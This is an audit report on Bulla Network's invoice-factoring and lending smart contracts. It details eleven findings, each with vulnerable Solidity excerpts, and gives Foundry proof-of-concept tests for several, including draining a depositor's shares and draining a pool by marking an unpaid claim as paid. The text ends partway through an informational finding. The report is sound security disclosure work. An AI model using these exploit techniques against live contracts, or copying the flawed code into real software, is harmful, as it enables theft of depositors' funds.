# Bulla Network 3 Audit Report

Prepared by LPHAC

Version 1.0


**Lead Auditors**

0xleastwood

kamensec


December 24, 2025

# Contents


**1 About LPHAC** **2**

**2 Disclaimer** **2**

**3 Risk Classification** **2**

**4 Protocol Summary** **2**

**5 Audit Scope** **2**
- 5.0.1 factoring-contracts . . . 2
- 5.0.2 bulla-contracts-V2 . . . 3

**6 Executive Summary** **3**

**7 Findings** **5**
- 7.1 Critical . . . 5
  - 7.1.1 Unauthorized redemption allows attacker to drain owner's shares/assets . . . 5
  - 7.1.2 Attacker can drain pool by front-running approval with `markClaimAsPaid` . . . 6
- 7.2 High . . . 9
  - 7.2.1 Accrued profits underflow when invoices are funded at staggered intervals . . . 9
  - 7.2.2 Redemption queue can be halted via transfer during queued redemption . . . 10
  - 7.2.3 Loan `offerID` re-org attack in `BullaFrendLendV2` . . . 11
- 7.3 Medium . . . 13
  - 7.3.1 Unbounded growth of `pendingLoanOffersIds` can brick loan offer acceptance . . . 13
  - 7.3.2 Debtor can reject funded claim causing permanent pool fund loss . . . 13
- 7.4 Low . . . 16
  - 7.4.1 Users can spam redemption queue with arbitrary amounts when balance is zero . . . 16
  - 7.4.2 Queue compaction is not done on request cancellation . . . 17
- 7.5 Informational . . . 18
  - 7.5.1 Negative yield inverts creates second depositor share rounding . . . 18
  - 7.5.2 Missing explicit error codes . . . 19

# 1 About LPHAC

LPHAC is a Web3 security organization aiming to protect projects and their partners against malicious actors. We aim to provide holistic improvements to a project's security stack in a safe and realiable way.

# 2 Disclaimer

The LPHAC team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

# 3 Risk Classification

| | **Impact: High** | **Impact: Medium** | **Impact: Low** |
|---|---|---|---|
| **Likelihood: High** | Critical | High | Medium |
| **Likelihood: Medium** | High | Medium | Low |
| **Likelihood: Low** | Medium | Low | Low |

# 4 Protocol Summary

Bulla Network enables the on-chain creation of credit pools for invoice factoring. By adhering to the ERC4626 specification, permissioned depositors can earn interest for facilitating invoice funding. Through these contracts, invoice issuers can factor their receivables, allowing them to receive early payments in exchange for a premium. This integration not only broadens the utility of the Bulla Claim Protocol but also provides a new financial mechanism for liquidity and credit management on-chain.

This audit review covers significant architectural changes to the Bulla Factoring V2 contracts since the previous engagement. The primary focus was gas optimization—replacing O(n) iterative calculations with O(1) constant-time operations through aggregate state tracking for accrued interest and capital-at-risk. Additional changes include automatic redemption queue processing when liquidity becomes available, protocol fee collection at funding time rather than reconciliation, configurable queue length limits, and removal of pool-level impairment in favor of the underlying BullaClaim contract's impairment system. These changes span 733 insertions and 676 deletions across 9 contract files.

# 5 Audit Scope

The following contract changes between the initial and final commits were in scope for this audit:

### 5.0.1 factoring-contracts

```
contracts/
|-- BullaClaimV2InvoiceProviderAdapterV2.sol
|-- BullaFactoring.sol
|-- BullaFactoringAutomationChecker.sol
|-- RedemptionQueue.sol
|-- interfaces/
    |-- IBullaFactoring.sol
    |-- IInvoiceProviderAdapter.sol
    \-- IRedemptionQueue.sol
```

```
\-- libraries/
    \-- FeeCalculations.sol
```

### 5.0.2 bulla-contracts-V2

```
src/
|-- BullaApprovalRegistry.sol
|-- BullaClaimV2.sol
|-- BullaFrendLendV2.sol
|-- BullaInvoice.sol
|-- interfaces/
    |-- IBullaClaimCore.sol
    |-- IBullaClaimV2.sol
    |-- IBullaFrendLendV2.sol
    \-- IBullaInvoice.sol
|-- libraries/
    \-- BullaClaimPermitLib.sol
\-- types/
    \-- Types.sol
```

# 6 Executive Summary

Over the course of 3 days, LPHAC conducted an audit on the Bulla Factoring & Core Contracts V2 smart contracts provided by LPHAC. In this period, a total of 11 issues were found.

Summary of the audit findings and any additional executive comments.

**Summary**

| | |
|---|---|
| Project Name | Bulla Factoring & Core Contracts V2 |
| Repository 1 | factoring-contracts |
| Initial Commit | b003dca |
| Final Commit | 90ba7e8 |
| Repository 2 | bulla-contracts-V2 |
| Initial Commit | 070653f |
| Final Commit | 530521d |
| Audit Timeline | Nov 29th - December 1st |
| Methods | Manual Review, Stateful Fuzzing |

**Issues Found**

| | |
|---|---|
| Critical Risk | 2 |
| High Risk | 3 |
| Medium Risk | 2 |
| Low Risk | 2 |
| Informational | 2 |
| Gas Optimizations | 0 |
| Total Issues | 11 |

**Summary of Findings**

| | |
|---|---|
| [C-1] Unauthorized redemption allows attacker to drain owner shares | Resolved |
| [C-2] Attacker can drain pool by front-running approval with `markClaimAsPaid` | Resolved |
| [H-1] Accrued profits underflow when invoices are funded at staggered intervals | Resolved |
| [H-2] Redemption queue can be halted via transfer during queued redemption | Resolved |
| [H-3] Loan `offerID` re-org attack in `BullaFrendLendV2` | Resolved |
| [M-1] Unbounded growth of `pendingLoanOffersIds` can brick loan offer acceptance | Resolved |
| [M-2] Debtor can reject funded claim causing permanent pool fund loss | Resolved |
| [L-1] Users can spam redemption queue with arbitrary amounts when balance is zero | Resolved |
| [L-2] Queue compaction is not done on request cancellation | Resolved |
| [I-1] Negative yield inverts creates second depositor share rounding | Acknowledged |
| [I-2] Missing explicit error codes | Resolved |

# 7 Findings

## 7.1 Critical

### 7.1.1 Unauthorized redemption allows attacker to drain owner's shares/assets

**Context:** BullaFactoring.sol#L943-L995

**Description:** The `redeem()` and `withdraw()` functions have been modified to allow for partial share/asset redemptions by queueing excess amounts to be processed when the `BullaFactoring` contract later has available funds to satisfy the request.

There is a path where a `_msgSender()` with redeem permissions can perform an unauthorized redemption/withdrawal on behalf of any `_owner`. This attack scenario assumes the redemption queue has unprocessed queue items and there are no available funds in the contract to satisfy a partial redemption request.

Therefore, when `sharesToRedeem == 0`, no instant redemption is performed and the excess share/asset amount is queued for future processing. However, this `redemptionQueue.queueRedemption()` call is executed without verifying that `_msgSender() != _owner` and hence the attacker can control the `receiver` parameter and queue the request on behalf of any arbitrary user. Once the request has been processed, the attacker-controlled `receiver` parameter is the recipient of the funds.

The issue exists in the `redeem()` and `withdraw()` functions:

```
function redeem(uint256 shares, address receiver, address _owner) public override returns (uint256) {
    if (!redeemPermissions.isAllowed(_msgSender())) revert UnauthorizedDeposit(_msgSender());
    if (!redeemPermissions.isAllowed(_owner)) revert UnauthorizedDeposit(_owner);

    uint256 sharesToRedeem = redemptionQueue.isQueueEmpty() ? Math.min(shares, maxRedeem(_owner)) : 0;
    uint256 redeemedAssets = 0;

    if (sharesToRedeem > 0) {
        redeemedAssets = super.redeem(sharesToRedeem, receiver, _owner);
        totalWithdrawals += redeemedAssets;
    }

    uint256 queuedShares = shares - sharesToRedeem;
    if (queuedShares > 0) {
        // Queue the remaining shares for future redemption
        redemptionQueue.queueRedemption(_owner, receiver, queuedShares, 0);
    }

    return redeemedAssets;
}
```

When `redemptionQueue.isQueueEmpty() == false`, the function sets `sharesToRedeem = 0` regardless of available liquidity. This means:

1. No instant redemption occurs (bypassing ERC4626's approval check in `super.redeem()`).
2. The entire `shares` amount is queued with an attacker-controlled `receiver` parameter.
3. When the queue is processed, funds go to the attacker.

**Proof of Concept:** This test can be replicated by adding the following to test file `TestRedemptionQueueIntegration.t.sol`:

```
function testQueuedRedemption_AllowsAttackerToDrainOwnerWhenQueueNotEmpty() public {
    address victim = vm.addr(0xB0B);
    address attacker = vm.addr(0xA11);
    address debtor = vm.addr(0xD3B);
    address creditor = vm.addr(0xC0C);
    uint256 depositAmount = 1_000_000;
    uint256 invoiceAmount = 1_250_000;
```

```
    // Grant required permissions
    depositPermissions.allow(victim);
    redeemPermissions.allow(victim);
    redeemPermissions.allow(attacker);
    factoringPermissions.allow(creditor);

    // Fund victim and set approval
    deal(address(asset), victim, depositAmount * 2);
    vm.startPrank(victim);
    asset.approve(address(bullaFactoring), type(uint256).max);

    // Victim deposits into the pool
    bullaFactoring.deposit(depositAmount, victim);
    vm.stopPrank();

    // Creditor creates an invoice to drain pool liquidity
    vm.prank(creditor);
    uint256 invoiceId = createClaim(creditor, debtor, invoiceAmount, dueBy);

    // Underwriter approves the invoice
    vm.prank(underwriter);
    bullaFactoring.approveInvoice(invoiceId, 1000, 100, 8000, 0);

    // Creditor approves and funds the invoice
    vm.startPrank(creditor);
    bullaClaim.approve(address(bullaFactoring), invoiceId);
    bullaFactoring.fundInvoice(invoiceId, 8000, address(0));
    vm.stopPrank();

    // Attacker queues redemption of victim's remaining shares
    // sharesToRedeem=0 because queue not empty
    uint256 attackerAssetsBefore = asset.balanceOf(attacker);
    vm.startPrank(attacker);
    bullaFactoring.redeem(bullaFactoring.balanceOf(victim), attacker, victim);
    vm.stopPrank();
    assertFalse(bullaFactoring.getRedemptionQueue().isQueueEmpty());

    // Victim restores liquidity with a top-up deposit
    // which processes queued redemptions automatically
    vm.prank(victim);
    bullaFactoring.deposit(depositAmount, victim);

    uint256 attackerAssetsAfter = asset.balanceOf(attacker);
    assertEq(attackerAssetsAfter - attackerAssetsBefore, depositAmount);
}
```

**Recommendation:** Ensure that if `_msgSender() != _owner`, then the spender approved amount is consumed as per the ERC4626 specification. Otherwise, enforce `_msgSender() == _owner` when queueing assets/shares to be processed later by the redemption queue. This check must be added to both the `redeem()` and `withdraw()` functions.

**Bulla:** Resolved in PR #185.

**LPHAC:** Verified fix. The allowance is now spent when `_msgSender() != _owner`.

### 7.1.2 Attacker can drain pool by front-running approval with `markClaimAsPaid`

**Context:** BullaFactoring.sol#L319-L359, BullaFactoring.sol#L490-L546, BullaFactoring.sol#L605-L629

**Description:** Neither `approveInvoice()` nor `fundInvoice()` check if an invoice has already been marked as paid via `BullaClaimV2.markClaimAsPaid()`. This allows an attacker to frontrun an underwriter's approval transaction, mark the claim as paid without any actual payment, then fund and reconcile the invoice to drain pool funds.

`BullaClaimV2.markClaimAsPaid()` function sets `status = Paid` without requiring actual payment or changing `paidAmount`:

```
// BullaClaimV2.sol
function _markClaimAsPaid(address from, uint256 claimId) internal {
    // ... validation ...
    claims[claimId].status = Status.Paid;  // @audit - paidAmount unchanged!
    emit ClaimMarkedAsPaid(claimId);
    // Execute callback...
}
```

i.e. `BullaFactoring.approveInvoice()` only checks that there's an outstanding amount, not the paid status:

```
// BullaFactoring.sol:325
if (invoiceSnapshot.invoiceAmount - invoiceSnapshot.paidAmount == 0) revert InvoiceCannotBePaid();
```

And `BullaFactoring.fundInvoice()` similarly only checks `isCanceled`, not `isPaid`:

```
// BullaFactoring.sol:501
if (invoicesDetails.isCanceled) revert InvoiceCanceled();
```

**Proof of Concept:** The issue is further outlined in the following scenario:

1. Attacker mints a claim as creditor (100,000 USDC invoice).
2. Attacker front-runs underwriter's `approveInvoice()` transaction by calling `BullaClaimV2.markClaimAsPaid()`
3. Claim now has `status = Paid` but `paidAmount = 0` (no actual payment has been made).
4. Underwriter's approval executes and passes checks because `invoiceAmount - paidAmount == 0`.
5. Attacker funds invoice and receives ~78,307 USDC up-front.
6. Attacker reconciles their invoice and receives ~21,443 USDC as kickback because claim shows `isPaid = true`.
7. Result: Pool is drained ~99,750 USDC and attacker profits when no actual payment was ever made.

The test can be replicated by adding the following to test file `TestMarkAsPaidExploit.t.sol`:

```
function test_MarkAsPaidExploit() public {
    // Step 1: Alice deposits into the pool
    uint256 poolDeposit = 1_000_000e6;
    vm.prank(alice);
    bullaFactoring.deposit(poolDeposit, alice);

    uint256 poolBalanceBefore = asset.balanceOf(address(bullaFactoring));
    uint256 attackerBalanceBefore = asset.balanceOf(attacker);

    // Step 2: Attacker creates a claim (attacker is creditor)
    uint256 invoiceAmount = 100_000e6;
    address fakeDebtor = makeAddr("fakeDebtor");
    vm.prank(attacker);
    uint256 claimId = createClaimAsCreditor(attacker, fakeDebtor, invoiceAmount, block.timestamp + 30
    ↪  days);

    // Step 3: Attacker marks claim as paid (front-running the approval)
    // NO ACTUAL PAYMENT - paidAmount stays 0!
    vm.prank(attacker);
    bullaClaim.markClaimAsPaid(claimId);

    // Step 4: Underwriter approves (their tx executes after front-run)
    vm.prank(underwriter);
    bullaFactoring.approveInvoice(claimId, interestApr, spreadBps, upfrontBps, 0);
```

```
    // Step 5: Attacker funds the invoice
    vm.startPrank(attacker);
    bullaClaim.approve(address(bullaFactoring), claimId);
    bullaFactoring.fundInvoice(claimId, upfrontBps, attacker);

    // Step 6: Attacker reconciles - claim shows isPaid = true
    bullaFactoring.reconcileSingleInvoice(claimId);
    vm.stopPrank();

    // RESULT: Pool drained, accounting broken
    // Pool balance: 1,000,000 → 900,250 (lost ~99,750)
    // Attacker balance: 1,000,000 → 1,099,750 (gained ~99,750)
    // Pool totalAssets STILL shows 1,000,000 (accounting broken!)
}
```

**Recommendation:** Consider adding an `isPaid` check to both the `approveInvoice()` and `fundInvoice()` functions:

```
function approveInvoice(uint256 invoiceId, ...) external {
    // ... existing checks ...
    IInvoiceProviderAdapterV2.Invoice memory invoiceSnapshot =
    ↪  invoiceProviderAdapter.getInvoiceDetails(invoiceId);
+   if (invoiceSnapshot.isPaid) revert InvoiceAlreadyPaid();
    if (invoiceSnapshot.invoiceAmount - invoiceSnapshot.paidAmount == 0) revert InvoiceCannotBePaid();
    // ...
}

function fundInvoice(uint256 invoiceId, ...) external returns(uint256) {
    // ... existing checks ...
    IInvoiceProviderAdapterV2.Invoice memory invoicesDetails =
    ↪  invoiceProviderAdapter.getInvoiceDetails(invoiceId);
    if (invoicesDetails.isCanceled) revert InvoiceCanceled();
+   if (invoicesDetails.isPaid) revert InvoiceAlreadyPaid();
    // ...
}
```

**Bulla:** Resolved in PR #191.

**LPHAC:** Verified fix. The aforementioned functions now revert if an invoice has been marked as paid.

## 7.2 High

### 7.2.1 Accrued profits underflow when invoices are funded at staggered intervals

**Context:** BullaFactoring.sol#L179-L189, BullaFactoring.sol#L721-L757

**Description:** The `_checkpointAccruedProfits()` function accumulates interest step-wise, only when `block.timestamp - lastCheckpointTimestamp >= 1 days`, truncating any excess time equal to `(block.timestamp - lastCheckpointTimestamp) % 1. Due to how` totalDailyInterestRate`is being calculated, all active invoices that are not aligned on the`1 days`boundary in`approvedInvoices[invoiceId].fundedTimestamp`will be misrepresented in the protocol's on-chain accounting. Therefore when an active invoice is removed through unfactoring or reconciliation,`invoiceAccruedInterest`will underflow when the total accumulated time truncation exceeds`1 days‘.

The root cause of this is that `_checkpointAccruedProfits()` truncates up to `1 days` worth of accrued profits whenever an invoice is funded, reconciled, or unfactored:

```
function _checkpointAccruedProfits() internal {
    if (block.timestamp > lastCheckpointTimestamp) {
        uint256 daysSinceCheckpoint = (block.timestamp - lastCheckpointTimestamp) / 1 days;

        accruedProfitsAtCheckpoint += totalDailyInterestRate * daysSinceCheckpoint;

        lastCheckpointTimestamp = block.timestamp;
    }
}
```

When `removeActivePaidInvoice()` is called, it calculates interest based on full days since funding:

```
uint256 daysSinceFunding = (block.timestamp - approvedInvoices[invoiceId].fundedTimestamp) / 1 days;
uint256 invoiceAccruedInterest = dailyRate * daysSinceFunding;

accruedProfitsAtCheckpoint -= invoiceAccruedInterest;
```

When multiple invoices are funded at staggered times (e.g., Invoice A at T0, Invoice B at T0 + 1.5 days), the checkpointing truncation causes the aggregate `accruedProfitsAtCheckpoint` to be less than the sum of individual invoice accrued interests, leading to underflow.

**Proof of Concept:** This test can be replicated by adding the following to test file `TestReconciliationOfPaidInvoices.t.sol`:

```
function test_ReconcilePaidInvoices_UnderflowWithStaggeredFunding() public {
    // Two invoices funded at misaligned day boundaries cause underflow when reconciled together.
    uint256 depositAmount = 2_000_000;
    uint256 invoiceAmount = 1_000_000; // both invoices have the same amount and daily rate

    // Deposit funds into the factoring pool
    vm.startPrank(alice);
    asset.approve(address(bullaClaim), type(uint256).max);
    bullaFactoring.deposit(depositAmount, alice);
    vm.stopPrank();

    // Create first invoice at T0
    vm.startPrank(bob);
    uint256 invoiceId1 = createClaim(bob, alice, invoiceAmount, dueBy);
    vm.stopPrank();

    // Underwriter approves invoice
    vm.prank(underwriter);
    bullaFactoring.approveInvoice(invoiceId1, interestApr, spreadBps, upfrontBps, 0);

    // Approve and fund invoice
```

```
    vm.startPrank(bob);
    bullaClaim.approve(address(bullaFactoring), invoiceId1);
    bullaFactoring.fundInvoice(invoiceId1, upfrontBps, address(0));
    vm.stopPrank();

    // Advance to T0 + 1.5 days
    vm.warp(block.timestamp + 1.5 days);

    // Create second invoice at T0 + 1.5 days
    vm.startPrank(bob);
    uint256 invoiceId2 = createClaim(bob, alice, invoiceAmount, dueBy);
    vm.stopPrank();

    // Underwriter approves invoice
    vm.prank(underwriter);
    bullaFactoring.approveInvoice(invoiceId2, interestApr, spreadBps, upfrontBps, 0);

    // Approve and fund invoice
    vm.startPrank(bob);
    bullaClaim.approve(address(bullaFactoring), invoiceId2);
    bullaFactoring.fundInvoice(invoiceId2, upfrontBps, address(0));
    vm.stopPrank();

    // Advance to T0 + 4.5 days
    vm.warp(block.timestamp + 4.5 days);

    // Pay first invoice
    vm.startPrank(alice);
    bullaClaim.payClaim(invoiceId1, invoiceAmount);

    // Pay second invoice - this should revert due to underflow
    vm.expectRevert(); // arithmetic underflow inside removeActivePaidInvoice
    bullaClaim.payClaim(invoiceId2, invoiceAmount);
    vm.stopPrank();
}
```

**Recommendation:** Ensure interest is calculated on a per-second basis instead of a per-day basis to avoid truncation issues. There are existing math libraries with this style of interest calculated that can be re-used. This ensures exact interest calculation where truncation is minimized and aligned across all active invoices.

**Bulla:** Resolved in PR #182.

**LPHAC:** Verified fix. Existing interest rate calculations have been changed to a per-second basis.

### 7.2.2 Redemption queue can be halted via transfer during queued redemption

**Context:** BullaFactoring.sol#L1034-L1058

**Description:** There is a discrepancy in the implementation of `processRedemptionQueue()` in how maximum clamp values are being enforced on `redemption.shares > 0` and `redemption.assets > 0` which prevents the FIFO redemption queue from processing after the respective owner's asset balance changes.

1. **Share-based redemptions** use global balance maximums (`maxRedeemableShares()`).
2. **Asset-based withdrawals** use owner-specific balances (`maxWithdraw(redemption.owner)`).

When a user transfers their shares while having a valid redemption request queued where `redemption.assets > 0`, the redemption queue will hit the `break` condition in the `processRedemptionQueue()` function. This halts the entire queue, preventing subsequent redemptions from being processed.

The issue exists in the following code path:

```
} else if (redemption.assets > 0) {
    // This is an asset-based withdrawal
```

```
    uint256 maxWithdrawableAssets = maxWithdraw(redemption.owner);
    uint256 assetsToWithdraw = Math.min(redemption.assets, maxWithdrawableAssets);

    if (assetsToWithdraw > 0) {
        // ... process withdrawal
    } else {
        // This hits the break condition and halts the entire queue
        break;
    }
}
```

**Proof of Concept:** The aforementioned scenario is further outlined below:

1. Alice calls `withdraw()` on 100 units of assets (queued as asset-based withdrawal).
2. Alice transfers 100 units of assets to Bob.
3. When `processRedemptionQueue()` is called, Alice's entry hits the `break` statement because `maxWithdraw(alice) == 0`.
4. The queue is halted - Bob's and subsequent redemptions cannot be processed.

This differs from share-based redemptions which correctly skip invalid entries:

```
if (redemption.shares > 0) {
    uint256 sharesToRedeem = Math.min(redemption.shares, maxRedeemableShares);

    if (sharesToRedeem > 0) {
        uint256 ownerBalance = balanceOf(redemption.owner);

        if (ownerBalance >= sharesToRedeem) {
            // Process redemption
        } else {
            amountProcessed = redemption.shares;  // Skip this entry
        }
    } else {
        break;  // Only breaks when no global liquidity
    }
}
```

**Recommendation:** Make asset-based withdrawals consistent with share-based redemptions by checking owner balance and skipping and removing queued and invalid entries instead of breaking.

**Bulla:** Resolved in PR #189.

**LPHAC:** Verified fix. Asset-based withdrawal processing in the redemption queue has been changed to take `Math.min(redemption.assets, _totalAssets)` instead of the user's balance at time of processing.

### 7.2.3 Loan `offerID` re-org attack in `BullaFrendLendV2`

**Context:** BullaFrendLendV2.sol#L198-L213, BullaFrendLendV2.sol#L257-L352

**Description:** The `BullaFrendLendV2` contract uses a simple incrementing counter (`loanOfferCount`) to assign loan offer IDs. In the event of a chain reorganization, an attacker can exploit this to have their malicious loan offer accepted instead of the legitimate one.

```
function _offerLoan(LoanRequestParams calldata offer, ClaimMetadata memory metadata) private returns
↪  (uint256) {
    bool requestedByCreditor = msg.sender == offer.creditor;

    _validateLoanOffer(offer, requestedByCreditor);

    uint256 offerId = loanOfferCount++;
    _loanOffers[offerId] = LoanOffer({params: offer, requestedByCreditor: requestedByCreditor});
```

```
    // ...
}
```

**Example Scenario:** Consider the following re-org event:

1. Alice (creditor) offers a loan with specific terms via `offerLoan()` and is assigned `offerId = 5`.
2. Bob (debtor) sees the offer and calls `acceptLoan(5)` to accept the loan.
3. A chain re-org occurs, reverting both transactions to pending state.
4. Attacker sees both pending transactions and quickly submits their own `offerLoan()` with malicious terms.
5. In the re-org'd chain:
   - Attacker's `offerLoan()` executes first and is assigned `offerId = 5`.
   - Bob's `acceptLoan(5)` executes, accepting the attacker's malicious loan instead of Alice's.
6. Bob unknowingly becomes the creditor on terms he never agreed to, transferring funds to the attacker (who acts as debtor with no intention to repay).

**Recommendation:** Use a hash-based loan offer ID that includes:

1. All loan parameters
2. Global nonce
3. Domain separator (EIP-712 style)

**Bulla:** Resolved in PR #108.

**LPHAC:** Verified fix. The protocol now uses hash-based loan offer IDs with per-user nonces and domain separator.

## 7.3 Medium

### 7.3.1 Unbounded growth of `pendingLoanOffersIds` can brick loan offer acceptance

**Context:** BullaFactoring.sol#L81, BullaFactoring.sol#L247, BullaFactoring.sol#L632-L639

**Description:** The `pendingLoanOffersIds` array tracks all pending loan offers and grows unboundedly. While `offerLoan()` is access-controlled (underwriter only), debtors can reject loan offers via `BullaFrendLoanV2.rejectLoanOffer()` which doesn't have a callback back to `BullaFactoring` to clear the `pendingLoanOffersByLoanOfferId` mapping and remove the ID from `pendingLoanOffersIds`.

```
/// Array to track IDs of pending loan offers
uint256[] public pendingLoanOffersIds;

function offerLoan(...) external returns (uint256 loanOfferId) {
    if (msg.sender != underwriter) revert CallerNotUnderwriter();
    ...
    pendingLoanOffersIds.push(loanOfferId);
    return loanOfferId;
}
```

When subsequent loans are accepted, the `removePendingLoanOffer()` function iterates through the entire array (which contains rejected loans indefinitely):

```
function removePendingLoanOffer(uint256 loanOfferId) private {
    for (uint256 i = 0; i < pendingLoanOffersIds.length; i++) {
        if (pendingLoanOffersIds[i] == loanOfferId) {
            pendingLoanOffersIds[i] = pendingLoanOffersIds[pendingLoanOffersIds.length - 1];
            pendingLoanOffersIds.pop();
            break;
        }
    }
}
```

There are several issues with this logic:

1. **No cleanup on rejection**: When debtors reject offers via `BullaFrendLoanV2.rejectLoanOffer()`, there's no callback to remove the offer from `pendingLoanOffersIds`.
2. **Unbounded iteration**: `removePendingLoanOffer()` iterates O(n) through the array.
3. **Gas limit risk**: Eventually, the gas cost to iterate could exceed block gas limits, bricking `onLoanOfferAccepted()`.

**Recommendation:** Add an underwriter access controlled function that allows for removal of pending loan offers.

**Bulla:** Resolved in PR #186.

**LPHAC:** Verified fixed. The ability to remove pending loan offers via `clearStalePendingLoanOffers()` has been added.

### 7.3.2 Debtor can reject funded claim causing permanent pool fund loss

**Context:** BullaClaimV2.sol#L363-L387, BullaClaimValidationLib.sol#L115-L128

**Description:** After `BullaFactoring` funds an invoice (becoming the new creditor/NFT owner), the debtor can still call `cancelClaim()` to reject the claim, setting it to a indefinite `Rejected` status. This causes permanent loss of pool funds with no recovery mechanism.

When a claim is cancelled, `_cancelClaim()` checks if the caller is the debtor or creditor:

```
// BullaClaimV2.sol:369-387
function _cancelClaim(address from, uint256 claimId, string calldata note) internal {
    _notLocked();
    Claim memory claim = getClaim(claimId);
```

```
    address creditor = _ownerOf(claimId);

    if (claim.controller != address(0) && msg.sender != claim.controller) revert
    ↪  NotController(msg.sender);

    BullaClaimValidationLib.validateClaimCancellation(from, claim, creditor);

    if (from == claim.debtor) {
        claims[claimId].status = Status.Rejected;
        emit ClaimRejected(claimId, from, note);
    } else {
        claims[claimId].status = Status.Rescinded;
        emit ClaimRescinded(claimId, from, note);
    }
}
```

The validation only checks that the claim is in `Pending` or `Repaying` status and that the caller is either creditor or debtor:

```
// BullaClaimValidationLib.sol:117-136
function validateClaimCancellation(address from, Claim memory claim, address creditor) external pure {
    if (claim.status != Status.Pending && claim.status != Status.Repaying) {
        revert ClaimNotPending();
    }

    if (from != creditor && from != claim.debtor) revert NotCreditorOrDebtor();
}
```

BullaFactoring does check for cancelled status, but only before funding:

```
// BullaFactoring.sol:504 - Only checked BEFORE funding
if (invoicesDetails.isCanceled) revert InvoiceCanceled();
```

After funding, neither recovery path checks `isCanceled`:

1. `reconcileSingleInvoice()` only checks `isPaid`:

```
// BullaFactoring.sol:610
if (!invoice.isPaid) revert InvoiceNotPaid();  // Always reverts for rejected claims
```

2. `unfactorInvoice()` - Pool owner can only unfactor "impaired" invoices:

```
// BullaFactoring.sol:691-693
if (isPoolOwnerUnfactoring) {
    if (!_isInvoiceImpaired(invoiceId)) revert InvoiceNotImpaired();
}

// BullaFactoring.sol:939-941 - Only checks time, NOT cancelled status
function _isInvoiceImpaired(uint256 invoiceId) private view returns (bool) {
    uint256 impairmentDate = approvedInvoices[invoiceId].impairmentDate;
    return impairmentDate != 0 && block.timestamp > impairmentDate;
}
```

After the impairment date passes, the pool owner CAN call `unfactorInvoice()`. However, this requires the **pool owner to personally pay** the full amount:

```
// BullaFactoring.sol:700-702
if(totalRefundOrPaymentAmount > 0) {
    // Pool owner owes the pool - they must PAY to unfactor
    assetAddress.safeTransferFrom(msg.sender, address(this), uint256(totalRefundOrPaymentAmount));
}
```

This "recovery" mechanism:

- Requires pool owner to have sufficient personal funds (~78K+ USDC).
- Transfers value from pool owner to pool, not from attacker.
- The attacker keeps all stolen funds regardless.
- Pool owner receives a worthless rejected claim NFT.

**Example Scenario:**

1. Attacker (Bob) creates claim with accomplice (Charlie) as debtor for 100,000 USDC.
2. Underwriter approves the claim for factoring.
3. Attacker funds the invoice via BullaFactoring, receiving ~78,307 USDC upfront.
4. `BullaFactoring` now owns the claim NFT and expects Charlie to pay.
5. **Charlie immediately calls `cancelClaim()` to reject**.
6. Claim status becomes `Rejected` (indefinite state).
7. Pool has lost ~78,307 USDC permanently as no recovery mechanism exists.
8. Pool accounting is now broken because `capitalAccount` shows original value but actual funds are gone.

**Recommendation:** Either prevent factoring funded rejections from the debtor, or provide rejection based callback that unwinds and properly accounts for the negative yield.

**Bulla:** Resolved in PR #190.

**LPHAC:** Verified fix. Cancelled or rescinded invoices can now both be unfactored.

## 7.4 Low

### 7.4.1 Users can spam redemption queue with arbitrary amounts when balance is zero

**Context:** BullaFactoring.sol#L948-L968

**Description:** When the redemption queue is not empty and `maxRedeem(owner) == 0`, users can queue arbitrary redemption amounts that can never be satisfied. The `redeem()` function then fails to validate that the owner actually has shares to redeem when queueing.

```
function redeem(uint256 shares, address receiver, address _owner) public override returns (uint256) {
    if (!redeemPermissions.isAllowed(_msgSender())) revert UnauthorizedDeposit(_msgSender());
    if (!redeemPermissions.isAllowed(_owner)) revert UnauthorizedDeposit(_owner);

    // When queue is not empty, sharesToRedeem = 0 regardless of owner's balance
    uint256 sharesToRedeem = redemptionQueue.isQueueEmpty() ? Math.min(shares, maxRedeem(_owner)) : 0;
    uint256 redeemedAssets = 0;

    if (sharesToRedeem > 0) {
        redeemedAssets = super.redeem(sharesToRedeem, receiver, _owner);
        totalWithdrawals += redeemedAssets;
    }

    // No validation that owner actually has these shares
    uint256 queuedShares = shares - sharesToRedeem;
    if (queuedShares > 0) {
        redemptionQueue.queueRedemption(_owner, receiver, queuedShares, 0);
    }

    return redeemedAssets;
}
```

This scenario is actionable when:

1. `redemptionQueue.isQueueEmpty() == false` → `sharesToRedeem = 0`.
2. `maxRedeem(owner) == 0` (owner has no shares).

The function will queue `queuedShares = shares` (any arbitrary user input) without checking if the owner actually has these shares. The `RedemptionQueue` does cancel existing redemptions for the same owner, so the same address cannot spam multiple entries. However, different addresses with redeem permissions can fill the queue with invalid entries.

**Recommendation:** Add validation to revert when queueing shares that the owner doesn't have:

```
function redeem(uint256 shares, address receiver, address _owner) public override returns (uint256) {
    if (!redeemPermissions.isAllowed(_msgSender())) revert UnauthorizedDeposit(_msgSender());
    if (!redeemPermissions.isAllowed(_owner)) revert UnauthorizedDeposit(_owner);

+   // Validate owner has sufficient shares
+   uint256 ownerBalance = balanceOf(_owner);
+   if (shares > ownerBalance) revert InsufficientShares();

    uint256 sharesToRedeem = redemptionQueue.isQueueEmpty() ? Math.min(shares, maxRedeem(_owner)) : 0;
    // ... rest of function
}
```

Or at a minimum, consider capping the queued amount to the owner's balance in the `redeem()` and `withdraw()` functions:

```
uint256 queuedShares = shares - sharesToRedeem;
+queuedShares = Math.min(queuedShares, balanceOf(_owner));
if (queuedShares > 0) {
    redemptionQueue.queueRedemption(_owner, receiver, queuedShares, 0);
```

```
}
```

**Bulla:** Resolved in PR #188.

**LPHAC:** Verified fix. A cap has been added to bound redemptions and withdrawals to the owner's respective balances.

### 7.4.2 Queue compaction is not done on request cancellation

**Context:** RedemptionQueue.sol#L59-L118

**Description:** When a subsequent redemption is queued via the `BullaFactoring` contract, the queue is compacted, which overwrites the queue with only active requests and resets the queue head. This is safely done in it's current implementation but could be further optimized by moving this compaction of the queue to whenever a user cancels an existing request in the queue.

**Recommendation:**Consider moving the `_compactQueue()` internal call to the `cancelQueuedRedemption()` function.

**Bulla:** Fixed in PR #183.

**LPHAC:** Verified fix. Queue compaction has been moved to only happen on redemption request cancellation.

## 7.5 Informational

### 7.5.1 Negative yield inverts creates second depositor share rounding

**Context:** BullaFactoring.sol#L391-L399

**Description:** The `BullaFactoring` vault implements custom share calculation logic that protects the first depositor when `totalSupply == 0` by returning shares 1:1 with assets. However, this creates an edge case where subsequent depositors can be rounded down to zero shares after a negative yield event.

The custom `_convertToShares()` logic is outlined below:

```
function _convertToShares(uint256 assets, Math.Rounding rounding) internal view override returns
